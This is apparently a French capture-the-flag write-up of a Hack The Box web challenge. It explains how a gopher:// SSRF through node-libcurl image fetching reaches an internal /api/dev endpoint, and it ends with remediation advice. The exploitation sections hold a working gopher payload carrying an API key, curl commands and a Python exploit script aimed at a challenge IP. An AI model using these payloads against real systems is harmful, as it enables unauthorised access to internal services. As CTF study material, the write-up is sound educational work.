Résumé exécutif
- Défi : PageOneHTML
- Catégorie : Sécurité Web
- Vulnérabilité : Server-Side Request Forgery (SSRF) via le protocole gopher://
- Impact : Accès à un endpoint d’API interne menant à la divulgation du flag
- Flags :
- Local :
HTB{f4k3_fl4g_f0r_t3st1ng} - Distant :
HTB{l1bcurL_pla7h0r4_0f_pr0tocOl5}
- Local :
Analyse Source-to-Sink
1. Point d’entrée - Entrée utilisateur (Source)
La vulnérabilité commence au endpoint /api/convert qui accepte du contenu markdown contrôlé par l’utilisateur :
// routes/index.js:15-28
router.post('/api/convert', async (req, res) => {
const { markdown_content, port_images } = req.body; // User input
if (markdown_content) {
html = MDHelper.makeHtml(markdown_content); // Convert MD to HTML
if (port_images) { // If port_images is true
return ImageConverter.PortImages(html) // Process images
.then(newHTML => res.json({ content: newHTML }))
.catch(() => res.json({ content: html }));
}
return res.json({ content: html });
}
return res.status(403).send(response('Missing parameters!'));
});
2. Traitement des images - Confusion de protocole
Le module ImageConverter extrait toutes les balises <img> et traite leurs attributs src :
// helpers/ImageConverter.js:5-28
module.exports = {
PortImages(html) {
return new Promise(async (resolve, reject) => {
try {
const $ = cheerio.load(html);
function downloader(el) {
imgSrc = $(el).attr('src'); // Extract src attribute
return Promise.resolve(ImageDownloader.downloadImage(imgSrc));
}
Promise.all(
$('img')
.map(async (i, el) => {
newSrc = await downloader(el); // Download and convert
$(el).attr('src', newSrc) // Replace with data URI
})
.get()
).then(() => {
return resolve($.html());
})
} catch (e) {
console.log(e);
reject(e);
}
});
}
};
3. Le sink vulnérable - Support protocolaire de libcurl
La vulnérabilité critique réside dans ImageDownloader.js qui utilise node-libcurl sans validation de protocole :
// helpers/ImageDownloader.js:29-49
module.exports = {
async downloadImage(url) {
return new Promise(async (resolve, reject) => {
curly.get(url) // VULNERABILITY: Accepts any protocol supported by libcurl
.then(resp => {
buffer = Buffer.from(resp.data,'utf8')
if (isPng(buffer))
dataUri = "data:image/png;base64,";
else if (isJpg(buffer))
dataUri = "data:image/jpg;base64,";
else
dataUri = "data:image/svg+xml;base64"; // Non-images treated as SVG
return resolve(`${dataUri} ${buffer.toString('base64')}`); // Leak response
})
.catch(e => {
console.log(e)
return resolve(url);
})
});
}
};
Vulnérabilités clés :
curly.get(url)accepte TOUS les protocoles supportés par libcurl (http, https, ftp, gopher, dict, file, etc.)- Les réponses non-image sont encodées en base64 et renvoyées, ce qui divulgue leur contenu
- Aucune validation d’URL ni liste blanche de protocoles
4. La cible - Endpoint d’API interne
Le endpoint interne /api/dev est protégé uniquement par l’adresse IP et une clé API :
// routes/index.js:30-38
router.get('/api/dev', async (req, res) => {
// Only allow requests from localhost
if (req.ip != '127.0.0.1') return res.status(403).send(response('Access denied!'));
if (req.headers["x-api-key"] == "934caf984a4ca94817ea6d87d37af4b3") {
return res.send(execSync('./flagreader.bin').toString()); // Flag!
}
return res.status(403).send(response('missing apikey!'));
});
Chaîne d’exploitation
Diagramme du flux d’exploitation
sequenceDiagram
participant Attacker
participant WebApp as WebApp<br/>/api/convert
participant InternalAPI as InternalAPI<br/>/api/dev
Attacker->>WebApp: POST /api/convert<br/>markdown with gopher:// img src
WebApp->>WebApp: Parse markdown to HTML<br/>Extract img src attributes
WebApp->>InternalAPI: SSRF via gopher://<br/>GET /api/dev with API key
InternalAPI->>InternalAPI: Verify source IP = 127.0.0.1 ✓<br/>Verify x-api-key ✓
InternalAPI-->>WebApp: Return flag
WebApp->>WebApp: Base64-encode response<br/>as data URI
WebApp-->>Attacker: Return base64-encoded flag
Construction du payload
Étape 1 : Construire la requête HTTP brute
Nous devons envoyer cette requête HTTP au endpoint interne :
GET /api/dev HTTP/1.1
Host: 127.0.0.1
x-api-key: 934caf984a4ca94817ea6d87d37af4b3
Connection: close
Étape 2 : Convertir en URL Gopher
Le format du protocole gopher : gopher://host:port/_<data>
- Encoder les espaces en
%20 - Encoder les CRLF en
%0D%0A - Préfixer les données avec
_
gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0Ax-api-key:%20934caf984a4ca94817ea6d87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A
Étape 3 : Intégrer dans une balise image HTML
<img src="gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0Ax-api-key:%20934caf984a4ca94817ea6d87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A">
Exploitation
Test local (conteneur Docker)
- Envoyer le payload d’exploitation :
curl -s http://127.0.0.1:1337/api/convert \
-H 'Content-Type: application/json' \
--data-binary '{
"markdown_content": "<img src=\"gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0Ax-api-key:%20934caf984a4ca94817ea6d87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A\">",
"port_images": true
}'
- Extraire et décoder la réponse base64 :
curl -s http://127.0.0.1:1337/api/convert \
-H 'Content-Type: application/json' \
--data-binary '{"markdown_content":"<img src=\"gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0Ax-api-key:%20934caf984a4ca94817ea6d87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A\">","port_images":true}' \
| jq -r .content \
| sed -n 's/.*base64 \(.*\)".*/\1/p' \
| tr -d '\n' \
| base64 -d
Sortie locale :
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 27
Date: Thu, 11 Sep 2025 14:46:35 GMT
Connection: close
HTB{f4k3_fl4g_f0r_t3st1ng}
Exploitation distante
Script d’exploitation Python :
import json
import re
import base64
import urllib.request
# Target URL
url = "http://94.237.53.82:31404/api/convert"
# Gopher SSRF payload
payload = {
"markdown_content": '<img src="gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0Ax-api-key:%20934caf984a4ca94817ea6d87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A">',
"port_images": True
}
# Send request
req = urllib.request.Request(
url,
data=json.dumps(payload).encode(),
headers={"Content-Type": "application/json"}
)
# Get response
response = urllib.request.urlopen(req, timeout=15).read().decode()
obj = json.loads(response)
# Extract base64 from data URI
content = obj.get("content", "")
match = re.search(r"base64\s+([A-Za-z0-9+/=\n\r]+)", content)
if match:
b64_data = match.group(1).replace("\n", "").replace("\r", "")
decoded = base64.b64decode(b64_data).decode()
print(decoded)
Sortie distante :
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 35
Date: Thu, 11 Sep 2025 14:47:34 GMT
Connection: close
HTB{l1bcurL_pla7h0r4_0f_pr0tocOl5}
Analyse de la cause racine
Chaîne de vulnérabilités
graph LR
A["Protocol Confusion<br/>(node-libcurl accepts<br/>all protocols)"] --> B["SSRF<br/>(no egress filtering)"]
B --> C["Response Leakage<br/>(non-images base64-encoded<br/>and returned)"]
C --> D["Weak Access Control<br/>(IP-only check)"]
D --> E["Static Credentials<br/>(hardcoded API key)"]
E --> F["Flag Disclosure"]
Problèmes de sécurité identifiés
- Confusion de protocole -
node-libcurlaccepte tous les protocoles sans validation - SSRF - Aucun filtrage en sortie ni validation de destination
- Fuite de réponse - Le contenu non-image est encodé et renvoyé
- Contrôle d’accès faible - Le endpoint interne repose uniquement sur l’IP source
- Identifiants statiques - Clé API codée en dur dans le code source
Recommandations de remédiation
1. Liste blanche de protocoles
// Example fix for ImageDownloader.js
const ALLOWED_PROTOCOLS = ['http:', 'https:'];
async downloadImage(url) {
const parsedUrl = new URL(url);
if (!ALLOWED_PROTOCOLS.includes(parsedUrl.protocol)) {
throw new Error('Invalid protocol');
}
// ... rest of the code
}
2. Protection contre les SSRF
// Block internal networks
const BLOCKED_IPS = [
'127.0.0.0/8', // Loopback
'10.0.0.0/8', // Private network
'172.16.0.0/12', // Private network
'192.168.0.0/16', // Private network
'169.254.0.0/16', // Link-local
'fd00::/8', // IPv6 private
'::1/128' // IPv6 loopback
];
function isInternalIP(hostname) {
// Implement IP range checking
// DNS resolution and validation
}
3. Validation du type de contenu
// Strict image validation
async downloadImage(url) {
const response = await fetch(url);
const contentType = response.headers.get('content-type');
if (!contentType?.startsWith('image/')) {
throw new Error('Not an image');
}
const buffer = await response.buffer();
if (!isPng(buffer) && !isJpg(buffer) && !isSvg(buffer)) {
throw new Error('Invalid image format');
}
// ... process valid image
}
4. Supprimer les endpoints de débogage internes
- Supprimer le endpoint
/api/deven production - Utiliser des mécanismes d’authentification robustes (OAuth, JWT)
- Mettre en place de la limitation de débit et de la surveillance
Chronologie
- Analyse initiale - La revue de code révèle un vecteur SSRF via
node-libcurl - Test de protocole - Confirmation du support du protocole gopher://
- Développement du payload - Construction de l’URL gopher avec la requête HTTP
- Exploitation locale - Récupération du flag de test depuis l’environnement Docker
- Exploitation distante - Extraction réussie du flag de production
Leçons apprises
- Ne jamais faire confiance aux entrées utilisateur - Toutes les URL doivent être validées
- Principe du moindre privilège - Utiliser un support protocolaire minimal
- Défense en profondeur - Plusieurs couches de sécurité sont nécessaires
- Configuration sécurisée par défaut - Les bibliothèques doivent être configurées de manière sécurisée
- Audits de sécurité réguliers - Les dépendances tierces nécessitent une revue